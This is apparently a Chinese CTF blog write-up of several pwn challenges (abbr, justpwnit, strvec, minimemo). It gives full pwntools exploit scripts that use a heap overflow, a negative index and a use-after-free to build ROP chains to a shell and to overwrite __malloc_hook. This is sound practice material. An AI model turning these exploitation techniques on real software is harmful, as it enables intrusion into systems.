eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

Quals

1.abbr

这题给了源码和自己写的.h文件还有编译后的程序,是一个堆溢出,

将english_expand函数的地址替换成我们想执行的gadget,之后就可以布置rop了。想办法找控制rsp的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p = process("./abbr")

payload = b"wwwwww"+(0x1000-16)*b"a" + p64(0x405121)
#gdb.attach(p,"b *fgets")
#pause()
p.sendlineafter("Enter text: ",payload)

#[rax] = mov rsp,rax ; ret

data = 0x4c90e0
pop_rdi = 0x4018da
pop_rsi = 0x404cfe
pop_rax = 0x45a8f7
pop_rdx = 0x4017df
mov_rdi_rsi = 0x45684f
syscall = 0x4012e3 # syscall

payload=p64(pop_rdi)+p64(data)+p64(pop_rsi)+b"/bin/sh\x00"+p64(mov_rdi_rsi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)

p.sendlineafter("Enter text: ", payload)

#pause()

p.interactive()

2.justpwnit

image-20220329183313749

image-20220330003420435

伪造rbp,即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p = process("./justpwnit")

pop_rdi = 0x0000000000401b0d
pop_rsi = 0x00000000004019a3
pop_rdx = 0x0000000000403d23
syscall = 0x00000000004013e9
pop_rax = 0x0000000000401001
bss = 0x40c240

#0x0000000000406c33: mov dword ptr [rax], esi; ret;
#0x0000000000406c32: mov qword ptr [rax], rsi; ret;
mov_rax_rsi = 0x0000000000406c32

payload = p64(0) + p64(pop_rsi) + b"/bin/sh\x00" + p64(pop_rax) + p64(bss) + p64(mov_rax_rsi) +p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
p.sendlineafter(b"Index: ",b"-2")

#payload = p64(pop_rsi) + b"/bin/sh\x00" + p64(pop_rax) + p64(bss) + p64(mov_rax_rsi) +p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
#p.sendlineafter(b"Index: ",b"-1")
p.sendafter(b"Data: ",payload)


p.interactive()%

2.strvec

这比赛初赛一共有五道题,除了上面两个,这个应该是最简单的了,先看下。

放入ida看下,是一个菜单题,只有get/set两个功能

程序一开始会创建一个存放vector的chunk,get功能就是获得vector,set就是设置vector,有UAF的漏洞

image-20220330114300923

image-20220330114354471

image-20220330114438523

1.leak_heap

get功能相当于有了show的作用,在vector_new函数内存在整数溢出,如果counts等于0x100000004时,在vector_set时会将堆地址存到堆里面。就相当于形成了自连,从而get可以泄露heap_base

2.leak_libc

利用set功能可以进行free,其中需要计算一些index和偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
p = process("./strvec")
elf = ELF("./strvec")
libc = elf.libc
context.log_level = "debug"

def get(index):
p.sendlineafter("> ",str(1))
p.sendlineafter("idx = ",str(index))

def set(index,content,check=True):
p.sendlineafter("> ",str(2))
p.sendlineafter("idx = ",str(index))
p.sendlineafter("data = ",content)

def g():
gdb.attach(p)
pause()

def get_idx(offset):
return (offset - 0x2a8) // 8

try:
p.sendlineafter("Name: ","eeee")
p.sendlineafter("n = ",str(1<<29|4))
set(5,p64(0))
get(5)
p.recvuntil("vec.get(idx) -> ")
heap_base = u64(p.recv(6).ljust(8,b"\x00")) - 0x2d0
success("heap_base:"+hex(heap_base))

fake = p64(0) + p64(0x811) + p64(0)*2
set(1,fake[:30])
offset = 1
while (offset * 0x30 <= 0x810):
offset += 1
set(0x1700 + offset, (p64(0x51) + p64(0x51) + p64(0x51) + p64(51))[:30])
print(offset)
set(0x1700 + offset + 1, p64(heap_base + 0x310) + b'e' * 0x10)
offset = offset+1

set((0x300+offset*0x30-0x2a8)//8,p64(heap_base + 0x310) + b'f' * 0x10)
offset = offset-1
get((0x300+offset*0x30-0x2a8)//8)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x1ebbe0
success("libc_base:"+hex(libc_base))

offset = 0x310
for i in range(7):
set(0x1780 + i, p64(0) + p64(0x291) + b'free')
set(get_idx(offset + 0x30), p64(heap_base + offset + 0x10))
offset += 0x60

set(5,p64(libc_base+libc.sym["__malloc_hook"])+p64(heap_base+0x10))
set(5,p64(heap_base+0x10))
set(2,b"e")
set(3,p64(libc_base+0xe6c81))

set(-1,"",False)

#g()
except EOFError:
pass


p.interactive()

此题参考了其他师傅的博客,能力实在有限,不会堆┭┮﹏┭┮~~

4.minimemo

可以溢出到notelist_t的fd的低四字节。